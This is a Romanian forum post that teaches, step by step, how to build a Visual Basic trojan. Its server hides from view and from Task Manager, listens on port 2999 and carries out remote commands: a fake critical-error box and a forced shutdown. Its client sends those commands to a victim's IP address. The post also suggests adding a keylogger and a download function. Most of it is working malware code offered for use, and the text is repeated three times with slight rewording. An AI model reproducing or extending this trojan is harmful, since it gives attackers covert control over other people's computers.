Trojan VB

Royal · Administrator Data inscrierii: 11/Aug/2008 Mesaje: 359

Ok sa incepem

A scrie un trojan este mai simplu decat cred multi acesta implica un Client si un Server si cu mai putin de 100 de linii de cod se poate face acest lucru.

Mai jos va arat cateva exemple si voi incepe cu serverul si ascunderea lui.

Server:

Ca sa nu il facem vizibil ( ochiului ).
Private Sub Form_Load()
Me.Visible = False
End Sub

Asta ascunde programul de ochiul gratuit dar cu TaskManager este un pic mai greu.

Trebuie sa adaugam asta:

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
End Sub

Acum Serverul adica trojanul propriu zis va fii ascuns poate nu vii se pare mare lucru dar este perfect invizibil in procese.

Si ca sa facem treaba mai frumoasa acum incepem sa adaugam functiile trojanului.

Primul lucru pe care trebuie sa il facem este sa il facem capabil sa asculte conexiuni. Ca sa putem face acest fapt vom adauga un Winsock Control.

Noi il vom face sa asculte conexiuni pe port 2999 atunci cand trojanul porneste.

Pentru asta codul nostru trebuie sa arate cam asa.
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub

Pana acum avem un program care asculta la acel port dar in rest nu face nimic.

Acum adaugam Main Form.

Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

Acum trebuie sa programam Actiunile Programului mai precis ceea ce face pe care le-am chemat in functiile din Main Form-ul de mai sus.In caz ca te intrebi codul adaugat in form face doua lucruri. întâiul sub face ca toate cererile de conexiune sa fie acceptate. Al 2 lea sub face ca toate datele sa fie acceptate si dupa paseaza tota data spre functiile pe care le prezint mai jos.

Pentru codul de Actiune, trebuie sa facem o functie publica in modul. (Public sa nu poata fii folosit de cod in afara la modul) Adaugati acest cod la modul si Trojanul este aproximativ gata.

Public Function DoActions(x As String)

Select Case x
Case "msgbox"
Msgbox "The file C:\windows\explorer1.exe has caused an error and will be terminated",vbCritical,"Critical Error"

Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function

Posted on 09-03-2008 10:19

Ok sa incepem

A scrie un trojan este mai simplu decat cred multi acesta implica un Client si un Server si cu mai putin de 100 de linii de cod se poate face acest lucru.

Mai jos va arat cateva exemple si voi incepe cu serverul si ascunderea lui.

Server:

Ca sa nu il facem vizibil ( ochiului ).

Private Sub Form_Load()
Me.Visible = False
End Sub

Asta ascunde programul de ochiul lăsat dar cu TaskManager este un pic mai greu.

Trebuie sa adaugam asta:

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
End Sub

Acum Serverul adica trojanul propriu zis va fii ascuns poate nu vii se pare mare lucru dar este complet invizibil in procese.

Si ca sa facem treaba mai frumoasa acum incepem sa adaugam functiile trojanului.

Primul lucru pe care trebuie sa il facem este sa il facem capabil sa asculte conexiuni. Ca sa putem face acest lucru vom adauga un Winsock Control.

Noi il vom face sa asculte conexiuni pe port 2999 atunci cand trojanul porneste.

Pentru asta codul nostru trebuie sa arate cam asa.

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub

Pana acum avem un program care asculta la acel port dar in rest nu face nimic.

Acum adaugam Main Form.

Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

Acum trebuie sa programam Actiunile Programului mai precis ceea ce face pe care le-am chemat in functiile din Main Form-ul de mai sus.In caz ca te intrebi codul adaugat in form face doua lucruri. Debutantul sub face ca toate cererile de conexiune sa fie acceptate. Al 2 lea sub face ca toate datele sa fie acceptate si dupa paseaza tota data spre functiile pe care le prezint mai jos.

Pentru codul de Actiune, trebuie sa facem o functie publica in modul. (Public sa nu poata fii folosit de cod in afara la modul) Adaugati acest cod la modul si Trojanul este aproape gata.

Public Function DoActions(x As String)

Select Case x
Case "msgbox"
Msgbox "The file C:\windows\explorer1.exe has caused an error and will be terminated",vbCritical,"Critical Error"

Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function

Acum avem un Trojan care inchide calculatorul trimite date spre port 2999 la inchiderea Pcu-lui target.

Sa completam codul..

Main Form:

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub

Pivate Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

Aduti aminte sa adaugi winsock control si sa il denumesti win daca ai de gand sa folosesti acest cod.

Modul:

Public Function DoActions(x As String)

Select Case x
Case "msgbox"
Msgbox "The file C:\windows\explorer1.exe has caused an error and will be terminated",vbCritical,"Critical Error"

Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function

Posted on 09-03-2008 10:19

Ok sa incepem

A scrie un trojan este mai simplu decat cred multi acesta implica un Client si un Server si cu mai putin de 100 de linii de cod se poate face acest lucru.

Mai jos va arat cateva exemple si voi incepe cu serverul si ascunderea lui.

Server:

Ca sa nu il facem vizibil ( ochiului ).

Private Sub Form_Load()
Me.Visible = False
End Sub

Asta ascunde programul de ochiul liber dar cu TaskManager este un pic mai greu.

Trebuie sa adaugam asta:

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
End Sub

Acum Serverul adica trojanul propriu zis va fii ascuns poate nu vii se pare mare lucru dar este complet invizibil in procese.

Si ca sa facem treaba mai frumoasa acum incepem sa adaugam functiile trojanului.

Primul lucru pe care trebuie sa il facem este sa il facem capabil sa asculte conexiuni. Ca sa putem face acest lucru vom adauga un Winsock Control.

Noi il vom face sa asculte conexiuni pe port 2999 atunci cand trojanul porneste.

Pentru asta codul nostru trebuie sa arate cam asa.

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub

Pana acum avem un program care asculta la acel port dar in rest nu face nimic.

Acum adaugam Main Form.

Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

Acum trebuie sa programam Actiunile Programului mai precis ceea ce face pe care le-am chemat in functiile din Main Form-ul de mai sus.In caz ca te intrebi codul adaugat in form face doua lucruri. Primul sub face ca toate cererile de conexiune sa fie acceptate. Al 2 lea sub face ca toate datele sa fie acceptate si dupa paseaza tota data spre functiile pe care le prezint mai jos.

Pentru codul de Actiune, trebuie sa facem o functie publica in modul. (Public sa nu poata fii întrebuințat de cod in afara la modul) Adaugati acest cod la modul si Trojanul este aproape gata.

Public Function DoActions(x As String)

Select Case x
Case "msgbox"
Msgbox "The file C:\windows\explorer1.exe has caused an error and will be terminated",vbCritical,"Critical Error"

Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function

Acum avem un Trojan care inchide calculatorul trimite date spre port 2999 la inchiderea Pcu-lui target.

Sa completam codul..

Main Form:

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub

Pivate Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

Aduti aminte sa adaugi winsock control si sa il denumesti win daca ai de gand sa folosesti acest cod.

Modul:

Public Function DoActions(x As String)

Select Case x
Case "msgbox"
Msgbox "The file C:\windows\explorer1.exe has caused an error and will be terminated",vbCritical,"Critical Error"

Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function

Asta este toata fracțiune Server a trojanului acum sa trecem la client.

Client- Acesta interactioneaza activ cu serverul folosind portul specificat care este automat deschis dupa inchiderea Pcu-lui victima in cazul nostru port 2999.

Din moment ce serverul pe care l-am facut accepta remote Shutdown si Casutza mesaj"msgbox"
Sa facem si clientul care trimite comanda Shutdown sau indiferent ce Mesaj.

Acum fa un form si adauga un Winsock Control, un text box, si 4 butoane. Text box-ul trebuie numit txtIP daca vrei sa mearga cu acest cod.
Butoanele trebuiesc denumite cmdConnect, cmdMsgbox, cmdShutdown, si cmdDisconnect. Acum codul pe care il foloseste clientul nostru.

[code]Private Sub cmdConnect_Click()
IpAddy = txtIp.Text
Win.Close
Win.RemotePort = 2999
Win.RemoteHost = IpAddy
Win.LocalPort = 9999
Win.Connect
cmdConnect.Enabled = False
End Sub

Private Sub cmdDisconnect_Click()
Win.Close
cmdConnect.Enabled = True
End Sub

Private Sub cmdMsgbox_Click()
Win.SendData "msgbox"
End Sub

Private Sub cmdShutdown_Click()
Win.SendData "shutdown"
End Sub/[code]
Acesta este codul pentru client. Ce face el? Pai ia data introdusa din txtIp in cazul nostru iP victimei deschide conexiunea folosind controlul adaugat de noi winsock pe portul 2999.

Comenzile lui sunt Error sau mesaj eroare , Shutdown.

Ideei: Poti adauga controale in plus foarte usor gen download , Keylogger sunt multe lucruri pe care le poti pune eventual si un chat

Succes.

tabernaculum · Trimis: 24/08/2008 20:02 Titlul subiectului:

This is awesome!

tabernaculum · Trimis: 24/08/2008 20:02 Titlul subiectului:

I found this post very useful!